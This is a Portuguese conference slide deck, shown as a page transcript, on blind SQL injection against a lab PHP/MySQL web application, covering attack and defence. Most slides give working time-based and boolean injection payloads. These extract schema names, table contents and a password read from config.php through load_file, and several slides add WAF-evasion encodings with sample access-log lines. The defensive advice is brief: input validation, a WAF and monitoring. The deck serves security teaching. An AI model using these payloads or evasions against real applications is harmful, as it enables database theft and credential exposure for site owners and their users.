blind sql injectionameaça oculta - do ataque a defesa

45
O MAIOR EVENTO BRASILEIRO DE HACKING, SEGURANÇA E TECNOLOGIA

Upload: flavio-kazuo-shiga

Post on 23-Jan-2017

535 views

Category:

Technology


0 download

TRANSCRIPT

Page 1: Blind SQL InjectionAmeaça Oculta - do Ataque a Defesa

O MAIOR EVENTO BRASILEIRO DE HACKING, SEGURANÇA E TECNOLOGIA

Page 2: Blind SQL InjectionAmeaça Oculta - do Ataque a Defesa

Blind SQL InjectionAmeaça Oculta - do Ataque a Defesa

Page 3: Blind SQL InjectionAmeaça Oculta - do Ataque a Defesa

3

• Gerente de Serviços iBLISS

• Professor de Segurança da Informação

• Consultor de TI/SI +11 anos

• ISO/IEC 27001 LA, ISFS, ITIL, Cobit, MCSO e Cisco (5)

• Pesquisador de vulnerabilidades/fraudes (Aplicações Web)

• Algumas palestras:

– Roadsec Natal/BH/SP

– BHACK e H2HC

– Mind the Sec e Cyber Security Meeting

– 5th Infosec Week & Cyber Bootcamp

FLÁVIO K. SHIGA

Page 4: Blind SQL InjectionAmeaça Oculta - do Ataque a Defesa

01/05/2023 4

Agenda

Blind SQL Injection

• Ataque manual

• Métodos de Proteção

• Métodos de Evasão

Framework - Aplicações Web

Page 5: Blind SQL InjectionAmeaça Oculta - do Ataque a Defesa

01/05/2023 5

Imagine um mundo onde...

Page 6: Blind SQL InjectionAmeaça Oculta - do Ataque a Defesa

01/05/2023 6

Page 7: Blind SQL InjectionAmeaça Oculta - do Ataque a Defesa

01/05/2023 7

Page 8: Blind SQL InjectionAmeaça Oculta - do Ataque a Defesa

01/05/2023 8

Page 9: Blind SQL InjectionAmeaça Oculta - do Ataque a Defesa

9

BLIND SQL INJECTIONATAQUE MANUAL

01/05/2023

Page 10: Blind SQL InjectionAmeaça Oculta - do Ataque a Defesa

10

MySQL

APP Web - PHP

Cenário

01/05/2023

Page 11: Blind SQL InjectionAmeaça Oculta - do Ataque a Defesa

11

POST X GETEnvio via GET

http://192.168.100.108/Teste/SLVEDTFAB.php?id=68&FABDSC=FA3&Submit=Salvar

01/05/2023

Page 12: Blind SQL InjectionAmeaça Oculta - do Ataque a Defesa

12

POST X GETEnvio via POST

http://192.168.100.108/Teste/SLVEDTCLI.php

01/05/2023

Page 13: Blind SQL InjectionAmeaça Oculta - do Ataque a Defesa

13

Blind SQL InjectionAplicação Web PHP

EDTCLI.php

$id2 = $_GET["id"];Abre_Conexao();$re = mysql_query("select count(*) as total from CLI where CLICOD =

$id2");$total = mysql_result($re, 0, "total");if($total == 1)

{$re = mysql_query("select * from CLI where CLICOD = $id2");$dados = mysql_fetch_array($re);}

01/05/2023

Page 14: Blind SQL InjectionAmeaça Oculta - do Ataque a Defesa

14

Blind SQL InjectionTime Based X Boolean Based

Time Based• Baseado em tempo (delay)• Latência de rede pode impactar a análise• As ferramentas automatizadas testam diferentes tempos, para garantir que a

aplicação é vulnerável. Acunetix 9.5 if(now()=sysdate(),sleep(6),0)/*'XOR(if(now()=sysdate(),sleep(6),0))OR'"XOR(if (now()=sysdate(),sleep(6),0))OR"*/ SQLMAP

Boolean Based• Baseado em resultados verdadeiros e falsos.

• 1+and+if(now()=sysdate(),sleep(6),0)• 1+and+now()=sysdate()

01/05/2023

Page 15: Blind SQL InjectionAmeaça Oculta - do Ataque a Defesa

01/05/2023 15

Identificar

Database

Identificar Tabela

Identificar Colunas

Identificar

Conteúdo

Page 16: Blind SQL InjectionAmeaça Oculta - do Ataque a Defesa

16

Blind SQL InjectionInstrução SQL – Time Based

Identificando o DATABASE

1+and+if(mid((select+TABLE_SCHEMA+FROM+INFORMATION_SCHEMA.COLUMNS+limit+20

0,1),1,1)=0x4c,sleep(5),0)

01/05/2023

Page 17: Blind SQL InjectionAmeaça Oculta - do Ataque a Defesa

17

Blind SQL InjectionInstrução SQL – Time Based

01/05/2023

Page 18: Blind SQL InjectionAmeaça Oculta - do Ataque a Defesa

18

Blind SQL InjectionInstrução SQL – Time Based

01/05/2023

Page 19: Blind SQL InjectionAmeaça Oculta - do Ataque a Defesa

19

Blind SQL InjectionInstrução SQL – Time Based

01/05/2023

Page 20: Blind SQL InjectionAmeaça Oculta - do Ataque a Defesa

20

• 1 and ... X 345 or ...Obs: Dependendo da quantidade dos registros o

uso do OR pode interferir na resposta• Utilize o símbolo + onde existir espaço

OBS: O Chrome coloca o símbolo %20 automaticamente• Utilize valores em hexadecimal (0x...) ao invés de

texto ASCII

Blind SQL InjectionInstrução SQL – Observações

01/05/2023

Page 21: Blind SQL InjectionAmeaça Oculta - do Ataque a Defesa

21

Time Based1+and+if(mid((select+TABLE_SCHEMA+FROM+INFORMATION_SCHEMA.COLUMNS+limit+200,1),1,1)=0x4c,sleep(5),0)

Boolean Based1+and+mid((select+TABLE_SCHEMA+FROM+INFORMATION_SCHEMA.COLUMNS+limit+200,1),1,1)=0x4c

MySQLSELECT mid((select TABLE_SCHEMA FROM INFORMATION_SCHEMA.COLUMNS limit 200,1),1,1);

Blind SQL InjectionIdentificar Database

200,1),1,1)=0x4c ->L

200,1),2,1)=0x41 ->A

200,1),3,1)=0x42 ->B

200,1),4,1)=0x45 ->E

200,1),5,1)=0x4e ->N

200,1),6,1)=0x47 ->G

01/05/2023

Page 22: Blind SQL InjectionAmeaça Oculta - do Ataque a Defesa

01/05/2023 22

Identificar

Database

Identificar Tabela

Identificar Colunas

Identificar

Conteúdo

LABENG

Page 23: Blind SQL InjectionAmeaça Oculta - do Ataque a Defesa

23

Time Based1+and+if(mid((SELECT+TABLE_NAME+FROM+INFORMATION_SCHEMA.COLUMNS+where+table_schema=0x4c4142454e47+limit+0,1),1,1)=0x41,sleep(5),0)

MySQLselect mid((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.COLUMNS where table_schema=0x4c4142454e47 limit 0,1), 1,1);

Blind SQL InjectionIdentificar Tabela

0,1), 1,1) = 0x41 -> A

0,1), 2,1) = 0x54 -> T

0,1), 3,1) = 0x56 -> V

01/05/2023

Page 24: Blind SQL InjectionAmeaça Oculta - do Ataque a Defesa

01/05/2023 24

Identificar

Database

Identificar Tabela

Identificar Colunas

Identificar

Conteúdo

LABENG ATV

Page 25: Blind SQL InjectionAmeaça Oculta - do Ataque a Defesa

01/05/2023 25

Identificar

Database

Identificar Tabela

Identificar Colunas

Identificar

Conteúdo

LABENG PES*

* Identifiquei outra Tabela

Page 26: Blind SQL InjectionAmeaça Oculta - do Ataque a Defesa

26

Time Based1+and+if(mid((SELECT+COLUMN_NAME+FROM+INFORMATION_SCHEMA.COLUMNS+where+table_schema=0x4c4142454e47+and+TABLE_NAME=0x504553+limit+0,1),1,1)=0x50,sleep(5),0)

MySQLselect mid((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where table_schema=0x4c4142454e47 and TABLE_NAME=0x504553 limit 0,1), 1,1);

Blind SQL InjectionIdentificar Coluna (Tabela PES)

0,1) 1,1) = 0x50 -> P

0,1) 2,1) = 0x45 -> E

0,1) 3,1) = 0x53 -> S

0,1) 4,1) = 0x43 -> C

0,1) 5,1) = 0x4f -> O

0,1) 6,1) = 0x44 -> D

01/05/2023

Page 27: Blind SQL InjectionAmeaça Oculta - do Ataque a Defesa

01/05/2023 27

Identificar

Database

Identificar Tabela

Identificar Colunas

Identificar

Conteúdo

LABENG PES PESCOD

Page 28: Blind SQL InjectionAmeaça Oculta - do Ataque a Defesa

01/05/2023 28

Identificar

Database

Identificar Tabela

Identificar Colunas

Identificar

Conteúdo

LABENG PES PESDSC*

* Identifiquei outra Coluna

Page 29: Blind SQL InjectionAmeaça Oculta - do Ataque a Defesa

29

Time Based1+and+if(mid((SELECT+PESDSC+from+LABENG.PES+limit+0,1),1,1)=0x61,sleep(5),0)

MySQLselect mid((SELECT PESDSC from LABENG.PES limit 0,1), 1,1);

Blind SQL InjectionIdentificar Conteúdo da Tabela

1,1) = 0x61 -> a

2,1) = 0x64 -> d

3,1) = 0x6d -> m

4,1) = 0x69 -> i

5,1) = 0x6e -> n

01/05/2023

Page 30: Blind SQL InjectionAmeaça Oculta - do Ataque a Defesa

01/05/2023 30

Identificar

Database

Identificar Tabela

Identificar Colunas

Identificar

Conteúdo

LABENG PES PESCDSC admin

Page 31: Blind SQL InjectionAmeaça Oculta - do Ataque a Defesa

01/05/2023 31

O que mais podemos analisar?

Page 32: Blind SQL InjectionAmeaça Oculta - do Ataque a Defesa

32

Time Based1+and+if(mid(load_file(0x2f7661722f7777772f54657374652f636f6e6669672e706870),75,1)=0x53,sleep(5),0)

MySQLselect mid(load_file(0x2f7661722f7777772f54657374652f636f6e6669672e706870),75,10);

0x2f7661722f7777772f54657374652f636f6e6669672e706870 = /var/www/Teste/config.php

Blind SQL InjectionO que mais podemos analisar?

75,1) = 0x53 -> S

76,1) = 0x45 -> E

77,1) = 0x4e -> N

78,1) = 0x48 -> H

79,1) = 0x41 -> A

01/05/2023

Page 33: Blind SQL InjectionAmeaça Oculta - do Ataque a Defesa

33

BLIND SQL INJECTIONPROTEÇÃO

01/05/2023

Page 34: Blind SQL InjectionAmeaça Oculta - do Ataque a Defesa

01/05/2023 34

$id2 = preg_replace('/[^[:alpha:]_]/', '',$_POST[‘id']);

ProteçãoDesenv. Seguro (Validação de dados de entrada)

$id2 = $_GET["id"];Abre_Conexao();$re = mysql_query("select count(*) as total from CLI where CLICOD =

$id2");$total = mysql_result($re, 0, "total");if($total == 1)

{$re = mysql_query("select * from CLI where CLICOD = $id2");$dados = mysql_fetch_array($re);}

Page 35: Blind SQL InjectionAmeaça Oculta - do Ataque a Defesa

01/05/2023 35

ProteçãoWAF – Web Application Firewall

Page 36: Blind SQL InjectionAmeaça Oculta - do Ataque a Defesa

01/05/2023 36

Estamos seguros agora?

Page 37: Blind SQL InjectionAmeaça Oculta - do Ataque a Defesa

01/05/2023 37

URL Encoded192.168.1.34 - - [22/Apr/2014:03:35:24 -0300] "GET /Teste/header.swf HTTP/1.1" 2 00 94621 "http://192.168.1.106/Teste/EDTTIPREC.php?id=1%20%61%6e%64%20%6d%69%64%28%28%73%65%6c%65%63%74%20%70%65%73%64%73%63%20%66%72%6f%6d%20%4c%41%42%45%4e%47.%50%45%53%20%6c%69%6d%69%74%200%2C1%29%2C1%2C1%29%3D0x61" "Mozilla/5.0 (Window s NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Saf ari/537.36"

Métodos de evasão

1%20%61%6e%64%20%6d%69%64%28%28%73%65%6c%65%63%74%20%70%65%73%64%73%63%20%66%72%6f%6d%20%4c%41%42%45%4e%47.%50%45%53%20%6c%69%6d%69%74%200%2C1%29%2C1%2C1%29%3D0x61

%28 (%29 )%2C ,%3D =%61 a...

Page 38: Blind SQL InjectionAmeaça Oculta - do Ataque a Defesa

01/05/2023 38

Sequência de Strings (Comentário)192.168.1.34 - - [22/Apr/2014:04:51:46 -0300] "GET /Teste/EDTTIPREC.php?id=1%23%0A+--%0Aand+%23comentario%0Amid%28%28/**/SELECT/**/+/**/PESDSC/**/+/**/FROM/**/+/**/LABENG.PES/**/+/**/LIMIT/**/+/**/0%2C1%29%2C1%2C1%29%3D0x61 HTTP/1.1" 200 1844 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36"

/**/--%23 #%0a (nova linha)

Métodos de evasão

Page 39: Blind SQL InjectionAmeaça Oculta - do Ataque a Defesa

01/05/2023 39

Técnicas de Espaço192.168.43.168 - - [22/Apr/2014:00:13:28 -0300] "GET /Teste/header.swf HTTP/1.1" 304 - "http://192.168.43.79/Teste/EDTTIPREC.php?id=1%0aand%0amid%28%28SELECT%0aPESDSC%0aFROM%0aLABENG.PES%0aLIMIT%0a0%2C1%29%2C1%2C1%29%3D0x61" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36"

+ (espaço)%20 (espaço)%0a (nova linha)

Métodos de evasão

Page 40: Blind SQL InjectionAmeaça Oculta - do Ataque a Defesa

01/05/2023 40

E se misturarmos tudo?

Page 41: Blind SQL InjectionAmeaça Oculta - do Ataque a Defesa

01/05/2023 41

192.168.43.168 - - [22/Apr/2014:00:30:37 -0300] "GET /Teste/EDTTIPREC.php?id=1%2F%2A%2A%2F%0a%2F%2A%2A%2F%61%6e%64%2F%2A%2A%2F%0a%6d%69%64%28%28%73%65%6c%65%63%74%0a%70%65%73%64%73%63%0a%66%72%6f%6d%0a%2F%2A%2A%2F%4c%41%42%45%4e%47.%50%45%53%2F%2A%2A%2F%0a%2F%2A%2A%2F%6c%69%6d%69%74%2F%2A%2A%2F%0a0%2C1%29%2C1%2C1%29%3D%2F%2A%2A%2F0x61%2F%2A%2A%2F%2F%2A%2A%2F HTTP/1.1" 200 1823 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36"

%0a (nova linha)/**/ %2F%2A%2A%2F%28 (%29 )%2C ,%3D =...

1/**//**/and/**/mid((selectpesdscFROM/**/LABENG.PES/**//**/LIMIT/**/0,1),1,1)=/**/0x61/**//**/

Métodos de evasão

Page 42: Blind SQL InjectionAmeaça Oculta - do Ataque a Defesa

01/05/2023 42

Métodos de evasãoNão podemos bloquear o símbolo %

Page 43: Blind SQL InjectionAmeaça Oculta - do Ataque a Defesa

01/05/2023 43

Como garantir a segurança das informações nas Aplicações Web?

Page 44: Blind SQL InjectionAmeaça Oculta - do Ataque a Defesa

01/05/2023 44

Framework

Aplicações Web

Desenv. Seguro WAF Monitoração Gestão de

Vulnerabilidades

Page 45: Blind SQL InjectionAmeaça Oculta - do Ataque a Defesa

Obrigado!Flávio K. Shiga

[email protected]

https://www.linkedin.com/in/fshiga

www.ibliss.com.br